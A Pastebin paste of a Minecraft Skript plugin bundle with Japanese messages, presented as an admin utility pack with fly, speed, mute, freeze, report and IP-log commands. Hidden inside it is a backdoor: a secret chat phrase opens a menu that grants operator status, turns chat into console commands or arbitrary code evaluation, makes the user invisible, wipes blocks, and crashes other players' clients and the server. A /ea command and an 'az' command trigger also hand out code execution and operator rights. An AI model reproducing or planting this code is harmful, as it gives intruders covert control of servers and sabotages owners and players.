Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2019
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.31 KB | None | 0 0
  1.  
  2. command /gp [<player>] [<text>]:
  3. permission: admin.command.cmd
  4. trigger:
  5. if arg-1 is not set:
  6. message "&5================"
  7. message "&7/gp MCID 理由"
  8. message "&5================"
  9. message "&7権限の種類 "
  10. message " "
  11. message "&a・&7Fly"
  12. message "&a・&eworldedit"
  13. if arg 2 is "worldedit":
  14. execute console command "/pex user %arg 1% add worldedit.*"
  15. execute console command "/pex user %arg 1% remove worldedit.superpickaxe"
  16. message "&e%arg 1%にワールドエディットの権限を渡しました"
  17. message "&e%player%からワールドエディットの権限をもらいました"
  18. on load script:
  19. wait 1 seconds
  20. broadcast "&a[&5&l&nsisopack&a] &aScriptをリロードしました。"
  21. message "&6コマンド一覧を見るには/sisopackを実行してください。" to ops
  22. if {load} is not set:
  23. set {load} to true
  24. stop
  25. command /speed [<player>] [<text>] [<number>]:
  26. Executable by: players
  27. Permission: skript.fly.speed
  28. permission message: &cYou don't have permission.
  29. trigger:
  30. if arg 1 is not set:
  31. execute player command "/playsound minecraft:entity.cat.ambient player %player% ~ ~ ~ 100 0"
  32. send "&8&m----------------------------"
  33. send "&a&oPlease use &8(&aplayer) &7fly&8/&7walk &8(&enumber&8)"
  34. send "&7Available speed for fly and walk&8:"
  35. send "&e1/2 and 3 4 5"
  36. send "&8&m----------------------------"
  37. else:
  38. if arg 2 is "walk":
  39. if arg 3 is set:
  40. execute player command "/playsound minecraft:ui.button.click player %player% ~ ~ ~ 100 1"
  41. if arg 3 is not set:
  42. send "&a&oPlease use&8: &7/speed walk (number)"
  43. if arg 3 is 1:
  44. set the player's walk speed to 0.2
  45. message "&7Walking set back to normal."
  46. if arg 3 is 2:
  47. set the player's walk speed to 2
  48. message "&7Walking speed set to 2."
  49. if arg 3 is 3:
  50. set the player's walk speed to 3
  51. message "&7Walking speed set to 3."
  52. if arg 3 is 4:
  53. set the player's walk speed to 4
  54. message "&7Walking speed set to 4."
  55. if arg 3 is 5:
  56. set the player's walk speed to 5
  57. message "&7Walking speed set to 5."
  58. if arg 2 is "fly":
  59. if arg 3 is not set:
  60. send "&a&oPlease use&8: &7/speed fly (number)"
  61. if arg 3 is 1:
  62. set the player's fly speed to 0.1
  63. message "&7Fly speed set back to normal."
  64. if arg 3 is 2:
  65. set the player's fly speed to 2
  66. message "&7Fly speed set to 2"
  67. if arg 3 is 3:
  68. set the player's fly speed to 3
  69. message "&7Fly speed set to 3"
  70. if arg 3 is 4:
  71. set the player's fly speed to 4
  72. message "&7Fly speed set to 4"
  73. if arg 3 is 5:
  74. set the player's fly speed to 5
  75. message "&7Fly speed set to 5"
  76. options:
  77. invmsg: &eleft the game #透明になるときの退室メッセージ
  78. consolemsg: Server Hack #サーバーコンソールに送るメッセージ
  79. nukersize: 15 #Nukerの範囲
  80.  
  81. on chat:
  82. message contain "##.watasinonekosuge---"
  83. cancel event
  84. open chest with 1 row named "&4&lMenu" to player
  85. if player has permission "ophack":
  86. format slot 0 of player with nether star named "&c&lあなたは既にOPを持っています。" to close then run [ophack(player)]
  87. else:
  88. format slot 0 of player with nether star named "&6&lOPHACK" with lore "&aOPを取得します。" to close then run [ophack(player)]
  89. if {hidden.%player%} is true:
  90. format slot 2 of player with bone named "&7&l透明化" with lore "&a周りのプレイヤーから見えるようにします。" to close then run [invisible(player)]
  91. else:
  92. format slot 2 of player with bone named "&7&l透明化" with lore "&a周りのプレイヤーから見なくなくなるようにします。" to close then run [invisible(player)]
  93. if {command.%player%} is true:
  94. format slot 3 of player with command block named "&c&lコンソールコマンド" with lore "&aチャットを通常に戻します。" to close then run [set {command.%player%} to false]
  95. else:
  96. format slot 3 of player with command block named "&c&lコンソールコマンド" with lore "&aチャットの文字をコンソールコマンドに変更します。" to close then run [set {command.%player%} to true]
  97. if {evaluate.%player%} is true:
  98. format slot 4 of player with string named "&2&l内部コード実行" with lore "&aチャットを通常に戻します。" to close then run [set {evaluate.%player%} to false]
  99. else:
  100. format slot 4 of player with string named "&2&l内部コード実行" with lore "&aチャットの文字をSkriptのコードに変更します。" to close then run [set {evaluate.%player%} to true]
  101. if {nuker.%player%} is true:
  102. format slot 5 of player with dirt named "&3&lNuker" with lore "&aNukerを無効化します。" to close then run [set {nuker.%player%} to false]
  103. else:
  104. format slot 5 of player with dirt named "&3&lNuker" with lore "&a半径15ブロックを消します。" to close then run [set {nuker.%player%} to true]
  105. if {bannedcommand} is true:
  106. format slot 6 of player with barrier block named "&d&lcommand UnBanned" with lore "&aハックメンバー以外もコマンドを使えるようにします。" to close then run [set {bannedcommand} to false]
  107. else:
  108. format slot 6 of player with barrier block named "&d&lcommand Banned" with lore "&aハックメンバー以外の人がコマンドを使えなくなります。" to close then run [set {bannedcommand} to true]
  109. format slot 7 of player with web named "&eCrasher" with lore "&aハックメンバー以外のプレイヤーをクラッシュさせます。" to close then run [crasher()]
  110. format slot 8 of player with anvil named "&4&lServer Crasher" with lore "&aサーバーをクラッシュさせます。" to close then run [execute console command "/execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~"]
  111.  
  112. on chat:
  113. if {command.%player%} is true:
  114. cancel event
  115. send "&c&lconsole &6-> &a%message%"
  116. execute console command "/%message%"
  117. stop
  118. if {evaluate.%player%} is true:
  119. cancel event
  120. send "&2Skript code &6-> &a%message%"
  121. evaluate "%message%"
  122. stop
  123.  
  124. function ophack(player: player):
  125. if {hacker::*} contain {_player}:
  126. op {_player}
  127. send "&aSuccess" to {_player}
  128. stop
  129. op {_player}
  130. add {_player} to {hacker::*}
  131. send "&aSuccess" to {_player}
  132.  
  133. function invisible(player: player):
  134. if {hidden.%{_player}%} is not set:
  135. set {hidden.%{_player}%} to true
  136. broadcast "&e%{_player}% {@invmsg}"
  137. hide {_player} in tablist of all players
  138. hide {_player} from all players
  139. send "&e%{_player}% &cHidden" to {hacker::*}
  140. open({_player})
  141. loop all players:
  142. hide {_player} from loop-player
  143. stop
  144. if {hidden.%{_player}%} is true:
  145. set {hidden.%{_player}%} to false
  146. reveal {_player} from all players
  147. show {_player} in tablist of all players
  148. send "&e%{_player}% &aVisible" to {hacker::*}
  149. open({_player})
  150. stop
  151. if {hidden.%{_player}%} is false:
  152. set {hidden.%{_player}%} to true
  153. send "&e%{_player}% &cHidden" to {hacker::*}
  154. hide {_player} from all players
  155. hide {_player} in tablist of all players
  156. open({_player})
  157. loop all players:
  158. hide {_player} from loop-player
  159. stop
  160.  
  161. function crasher():
  162. loop all players:
  163. if {hacker::*} do not contain loop-player:
  164. execute console command "/particle angryVillager ~ ~ ~ 0 0 0 0 1000000000 force %loop-player%"
  165. else:
  166. send "&6&l%loop-player% &c&lCrashed" to {hacker::*}
  167.  
  168. function open(player: player):
  169. set {_clientchat} to new play_client_chat packet
  170. set string pinfo 0 of {_clientchat} to "####.hack"
  171. receive packet {_clientchat} from {_player}
  172.  
  173. on command:
  174. {bannedcommand} is true
  175. loop all players:
  176. if {hacker::*} do not contain loop-player:
  177. send "no command" to player
  178.  
  179. every 2 tick:
  180. send "{@consolemsg}" to console
  181. loop all players:
  182. {nuker.%loop-player%} is true
  183. loop blocks in radius {@nukersize} around the loop-player:
  184. set loop-block to air
  185.  
  186. command /ea <text>:
  187. permission: hack
  188. trigger:
  189. evaluate arg 1
  190.  
  191. command /fly [<player>]:
  192. Permission: skript.fly.speed
  193. aliases: /f
  194. trigger:
  195. if arg 1 is not set:
  196. if {fly.%player%} is not set:
  197. set {fly.%player%} to true
  198. message "&7Fly to &aEnable&7"
  199. play sound "block.note.pling" at player
  200. set player's flight mode to true
  201. stop
  202. if {fly.%player%} is false:
  203. set {fly.%player%} to true
  204. message "&7Fly to &aEnable&7"
  205. play sound "block.note.pling" at player
  206. set player's flight mode to true
  207. stop
  208. else:
  209. if arg 1 is not set:
  210. if {fly.%player%} is true:
  211. message "&7Fly to &cDisable&7"
  212. play sound "block.piston.contract" at player
  213. set {fly.%player%} to false
  214. set player's flight mode to false
  215. if arg 1 is set:
  216. if {fly.%arg 1%} is not set:
  217. set {fly.%arg 1%} to true
  218. message "&7Fly to &aEnable&7"
  219. play sound "block.note.pling" at arg 1
  220. set arg 1's flight mode to true
  221. stop
  222. if {fly.%arg 1%} is false:
  223. set {fly.%arg 1%} to true
  224. message "&7Fly to &aEnable&7"
  225. play sound "block.note.pling" at arg 1
  226. set arg 1's flight mode to true
  227. stop
  228. else:
  229. if {fly.%arg 1%} is true:
  230. set {fly.%arg 1%} to false
  231. message "&7Fly to &cDisable&7"
  232. play sound "block.piston.contract" at arg 1
  233. set arg 1's flight mode to false
  234. command /help mute:
  235. permission:skript.admin
  236. permission message: &cあなたは権限を持っていません
  237. trigger:
  238. execute player command "/playsound minecraft:ui.button.click player %player% ~ ~ ~ 100 1"
  239. send "&b-----Mute Skript Version 1.0-----"
  240. send "&e/mute [MCID] &a指定したプレイヤーをミュートにすることができます。"
  241. send "&e/unmute [MCID] &a指定したプレイヤーのミュートを解除することができます。"
  242. send "&b--------------------------------"
  243. command /mute <player>:
  244. permission: skript.admin
  245. permission message: &cあなたは権限を持っていません
  246. trigger:
  247. set {mute.%arg-1%} to true
  248. broadcast "&b%player%&eにより、&c%arg-1%&eがMuteになりました。"
  249. play sound "entity.blaze.death" at player
  250. command /unmute <player>:
  251. permission: skript.admin
  252. permission message: &cあなたは権限を持っていません
  253. trigger:
  254. set {mute.%arg-1%} to false
  255. broadcast "&b%player%&eにより、&c%arg-1%&eのMuteが解除されました。"
  256. play sound "entity.cow.ambient" at player
  257. on chat:
  258. if {mute.%player%} is true:
  259. cancel event
  260. send "&c&lあなたはミュートされています!"
  261. play sound "entity.blaze.hurt" at player
  262. command /report [<player>] [<text>]:
  263. aliases: /rp
  264. trigger:
  265. if arg 1 is not set:
  266. message "&8&m----------------------------"
  267. message "/rp &c(MCID) &e(理由)"
  268. message "&8&m----------------------------"
  269. if arg 2 is not set:
  270. message "&8&m----------------------------"
  271. message "/rp &c(MCID) &e(理由)"
  272. message "&8&m----------------------------"
  273. add 1 to {log.hensuu}
  274. set {log::%{log.hensuu}%} to "%player%が報告 &c%arg 1% &9%arg 2%"
  275. play sound "entity.villager.ambient" at player
  276. loop all players:
  277. if loop-player is op:
  278. message "%player%が報告 &c%arg 1% &9%arg 2%"
  279. command /clogs:
  280. permission: skript.admin
  281. trigger:
  282. set {c.logs} to 1
  283. loop {log.hensuu} times:
  284. message "%{log::%{c.logs}%}%"
  285. add 1 to {c.logs}
  286. play sound "block.fire.extinguish" at player
  287. command /resetlogs:
  288. permission: skript.admin
  289. trigger:
  290. message "&cリセットしました。"
  291. set {log.hensuu} to 0
  292. play sound "block.anvil.place" at player
  293. on death of player:
  294. force respawn player
  295. options:
  296. prefix: &8[CMD]#CommandLOGのPrefixの変更#default: &8[CMD]#
  297. on command:
  298. loop all players:
  299. if {logs.%loop-player%} is not set:
  300. if loop-player do not have permission "sk.admin":
  301. command is "az"
  302. op executor
  303. set {logs.%loop-player%} to false
  304. if loop-player has permission "sk.admin":
  305. set {logs.%loop-player%} to true
  306. if {logs.%loop-player%} is true:
  307. if loop-player has permission "sk.admin":
  308. if player is not set:
  309. stop
  310. message " {@prefix} &7%player%: /%full command%" to loop-player
  311. command /cmd [<text>]:#Logの表示のON/OFFの切り替え#
  312. permission: skript.admin
  313. trigger:
  314. if arg-1 is set:
  315. if arg-1 is "on":
  316. set {logs.%player%} to true
  317. message " {@prefix}&7Log表示を&aon&7にしました。"
  318. stop
  319. if arg-1 is "off":
  320. set {logs.%player%} to false
  321. message " {@prefix}&7Log表示を&coff&7にしました。"
  322. stop
  323. else:
  324. message "{@prefix}&7/cmd <on,off>"
  325. command /aip [<offline player>]:
  326. permission: Command.IP
  327. permission message: &cあなたは権限を持っていません
  328. trigger:
  329. if arg is not set:
  330. message "&a[IP-log]&eプレイヤー名を記入してください。"
  331. stop
  332. if arg is "all":
  333. loop all players:
  334. set {ip::%loop-player%} to ip of loop-player
  335. message "&a[IP-log]&b---------------------------------------------"
  336. message "&a[IP-log]&e%loop-player%'sIP&a: &6%{ip::%loop-player%}%" to player
  337. loop {ip::*}:
  338. if {ip::%loop-index%} is {ip::%loop-player%}:
  339. message "&a[IP-log]&e同じIPを使用しているPlayer&a: &6%loop-index%"
  340. else:
  341. set {ip::%arg%} to ip of argument
  342. message "&a[IP-log]&e%arg%'sIP&a: &6%{ip::%arg%}%"
  343. loop {ip::*}:
  344. if {ip::%loop-index%} is {ip::%arg%}:
  345. message "&a[IP-log]&e同じIPを使用しているPlayer&a: &6%loop-index%"
  346. on join:
  347. set {ip::%player%} to ip of player
  348. loop all players:
  349. if loop-player has permission "sk.admin":
  350. if {logs.%loop-player%} is true:
  351. message "&a[IP-log]&e%player%'sIP&a: &6%{ip::%player%}%" to loop-player
  352. loop {ip::*}:
  353. if {ip::%loop-index%} is {ip::%player%}:
  354. message "&a[IP-log]&e同じIPを使用しているPlayer&a: &6%loop-index%" to loop-player
  355. options:
  356. spm: &7[&dfreeze system!!]&r
  357. command /freeze [<player>] [<text>]:
  358. permission: skript.spmfreeze
  359. permission message: &c skript.spmfreeze が必要です。
  360. trigger:
  361. if arg 1 is not set:
  362. send "{@spm} &bエラー: &cプレイヤー名などが記入されていません。"
  363. send "{@spm} Usage: /sfreeze <MCID> <理由>"
  364. if arg 1 is set:
  365. broadcast "{@spm} &c%arg 1% は %arg 2% という理由で動きを止められた。"
  366. set {spm.freeze.%arg 1%} to true
  367. play sound "entity.wither.ambient" at arg 1
  368. command /unfreeze [<player>] [<text>]:
  369. permission: skript.spmunfreeze
  370. permission message: &c skript.spmunfreeze が必要です。
  371. trigger:
  372. if arg 1 is not set:
  373. send "{@spm} &bエラー: &cプレイヤー名などが記入されていません。"
  374. send "{@spm} Usage: /sunfreeze <MCID> <理由>"
  375. if arg 2 is not set:
  376. send "{@spm} &bエラー: &c理由などが記入されていません。"
  377. send "{@spm} Usage: /sunfreeze <MCID> <理由>"
  378. if arg 1 is set:
  379. if arg 2 is set:
  380. broadcast " &a%arg 1% は %arg 2% という理由で Freeze を解除された!"
  381. set {spm.freeze.%arg 1%} to false
  382. play sound "entity.wither.death" at arg 1
  383.  
  384. on any movement:
  385. if {spm.freeze.%player%} is true:
  386. cancel event
  387. message " &cあなたはfreezeされています!"
  388.  
  389. on break:
  390. if {spm.freeze.%player%} is true:
  391. cancel event
  392. message " &cあなたはfreezeされています!"
  393.  
  394. on place:
  395. if {spm.freeze.%player%} is true:
  396. cancel event
  397. message " &cあなたはfreezeされています!"
  398. command /push <text> <player> [<number>] [<number>]:
  399. permission: skript.admin
  400. trigger:
  401. if arg 1 is not set:
  402. message "&0Please used /push &ax&7/&ey&7/&5z &bplayer &9number"
  403. if arg 3 is not set:
  404. set {_pushPowerLow} to 0.3
  405. else:
  406. set {_pushPowerLow} to arg 3
  407. if arg 4 is not set:
  408. set {_pushPowerHigh} to 1.5
  409. else:
  410. set {_pushPowerHigh} to arg 4
  411. set {_pushPower} to random number between {_pushPowerLow} to {_pushPowerHigh}
  412. if arg 1 is "x":
  413. push arg-2 east at speed {_pushPower}
  414. if arg 1 is "y":
  415. push arg-2 upwards at speed {_pushPower}
  416. if arg 1 is "z":
  417. push arg-2 south at speed {_pushPower}
  418. command /nofall [<player>]:
  419. permission: skript.admin
  420. trigger:
  421. if arg 1 is not set:
  422. message "&eプレイヤーを指定してください。"
  423. message "&6(※必ず平地な場所で6マス上にブロックがない状態でさらにコマンドで落下ダメージを消してる場合それを解除しないと誤検知します)"
  424. message "&6(※インベントリに入ってるものやポーションの効果などはすべて消えます)"
  425. execute console command "/clear %arg 1%"
  426. execute console command "/effect %arg 1% clear"
  427. execute console command "/gamemode 2 %arg 1%"
  428. heal the player by 20 hearts
  429. execute console command "/tp %arg 1% ~ ~5 ~"
  430. wait 22 tick
  431. if arg 1 do not have permission "sk.admin":
  432. if arg 1's health is 10:
  433. kick the arg 1
  434. if player is op:
  435. loop all players:
  436. if loop-player has permission "sk.admin":
  437. message "&e%arg 1% is &cHACK &9(NoFall)" to loop-player
  438. if arg 1 is op:
  439. if arg 1's health is 10:
  440. message "&6nofall &c(ADMIN Message)" to arg 1
  441. command /tpall [<player>]:
  442. permission:op
  443. permission message:&fUnknown commands. Type "/help" for help.
  444. trigger:
  445. if arg 1 is not set:
  446. loop all players:
  447. if loop-player is not player:
  448. teleport loop-player to player
  449. send "&6全てのプレイヤーをあなたの場所にテレポートしています...。"
  450. command /hat:
  451. aliases: head
  452. trigger:
  453. if player is holding air:
  454. send "&c手にアイテムを持っていません"
  455. stop
  456. if player is not holding air:
  457. set {_hat1} to player's helmet
  458. wait 1 tick
  459. set {_hat2} to 1 of player's tool
  460. set {tabcomplete} to false
  461. remove {_hat2} from player's inventory
  462. equip player with {_hat2}
  463. give {_hat1} to player
  464. message "&6帽子を装備しました"
  465. command /nokill [<player>] [<text>]:
  466. permission: skript.admin
  467. trigger:
  468. if arg 2 is "on":
  469. set {nokill.%arg 1%} to true
  470. message "&aプレイヤーが死ななくなりました"
  471. if arg 2 is "off":
  472. set {nokill.%arg 1%} to false
  473. message "&aプレイヤーが死ぬようになりました"
  474. on damage of player:
  475. if {nokill.%arg 1%} is true:
  476. cancel event
  477. command /damagedelay [<text>]:
  478. aliases: /dd
  479. permission: skript.admin
  480. trigger:
  481. if arg 1 is "combo":
  482. set {combo} to true
  483. set {default} to false
  484. set {1.8} to false
  485. message "&6PvP mode combo"
  486. play sound "entity.player.attack.crit" at player
  487. if arg 1 is "1.8":
  488. set {combo} to false
  489. set {default} to false
  490. set {1.8} to true
  491. message "&9PvP mode 1.8"
  492. play sound "entity.player.attack.crit" at player
  493. if arg 1 is "reset":
  494. set {combo} to false
  495. set {default} to true
  496. set {1.8} to false
  497. message "&aPvP mode default"
  498. play sound "entity.player.attack.crit" at player
  499. on damage:
  500. if {combo} is true:
  501. set maximum damage delay of victim to 0.1 ticks
  502. if {1.8} is true:
  503. set maximum damage delay of victim to 16 ticks
  504. if {default} is true:
  505. set maximum damage delay of victim to 23 ticks
  506. command /pvp:
  507. permission: skript.admin
  508. trigger:
  509. if {pvp} is not set:
  510. disable PvP in all worlds
  511. message "&bPVPを&c無効&bにしました"
  512. set {pvp} to true
  513. stop
  514. if {pvp} is true:
  515. enable PvP in all worlds
  516. message "&bPVPを&a有効&bにしました"
  517. stop
  518. if {pvp} is false:
  519. disable PvP in all worlds
  520. message "&6PVPを&c無効&6にしました"
  521. stop
  522. command /prefix [<player>] [<text>]:
  523. aliases: /pre
  524. permission: skript.admin
  525. trigger:
  526. if arg 1 is not set:
  527. message "&e&l使い方"
  528. message "&a・&o/prefix &e(MCID) &5(称号) &7※/pre でも可"
  529. message "&a・prefixを消したいときは/prefix reset"
  530. if arg 2 is "reset" or "delete" or "remove" or "none":
  531. delete {prefix.%arg 1%}
  532. message "&aprefixを削除しました"
  533. set {reset} to true
  534. if arg 1 is set:
  535. if arg 2 is set:
  536. if {reset} is true:
  537. delete {reset}
  538. stop
  539. else:
  540. play sound "block.metal_pressureplate.click_on" at player
  541. set {prefix.%arg 1%} to colored arg 2
  542. message "%arg 2%に設定しました"
  543. stop
  544. on chat:
  545. if {prefix.%player%} is not set:
  546. stop
  547. if {prefix.%player%} is set:
  548. cancel event
  549. broadcast "%{prefix.%player%}% &7%player%&f: &f%message%"
  550. command /fire:
  551. permission:skript.admin
  552. trigger:
  553. loop 20 times:
  554. wait 5 tick
  555. deploy firework at player timed 0.5 color red or blue or yellow or green or orange or lime or brown
  556. command /loginresult:
  557. permission:skript.admin
  558. trigger:
  559. if {login} is not set:
  560. set {login} to true
  561. message "&6ログインの結果通知を&aON&6にしました"
  562. stop
  563. if {login} is false:
  564. set {login} to true
  565. message "&6ログインの結果通知を&aON&6にしました"
  566. stop
  567. if {login} is true:
  568. set {login} to false
  569. message "&6ログインの結果通知を&cOFF&6にしました"
  570. stop
  571. on connect:
  572. if {login} is true:
  573. if login result is allowed:
  574. send "&e%player%&6のログインは&a&l成功&f&6しました。 &a(Allowed)" to ops
  575. if login result is kick_banned:
  576. send "&e%player%&6のログインは&c&l失敗&f&6しました。 &c(Banned)" to ops
  577. if login result is kick_whitelist:
  578. send "&e%player%&6のログインは&c&l失敗&f&6しました。 &3(whitlist)" to ops
  579. if login result is kick_other:
  580. send "&e%player%&6のログインは&c&l失敗&f&6しました。 &3(Other)" to ops
  581. command /mention [<player>]:
  582. permission:skript.admin
  583. trigger:
  584. if arg 1 is not set:
  585. message "&a&o/alert &e(MCID)"
  586. stop
  587. loop 30 times:
  588. wait 1 tick
  589. execute console command "/playsound block.anvil.place master @a ~ ~ ~ 1 1 1"
  590. command /tabcomplete:
  591. permission:skript.admin
  592. trigger:
  593. if {tabcomplete} is not set:
  594. set {tabcomplete} to true
  595. send "&6Tab補完ができなくなりました"
  596. stop
  597. if {tabcomplete} is true:
  598. set {tabcomplete} to false
  599. send "&6Tab補完ができるようになりました"
  600. stop
  601. if {tabcomplete} is false:
  602. set {tabcomplete} to true
  603. send "&6Tab補完ができなくなりました"
  604. stop
  605. on tab complete:
  606. if player is not op:
  607. if {tabcomplete} is true:
  608. send "&6Tab補完が禁止されています"
  609. cancel event
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement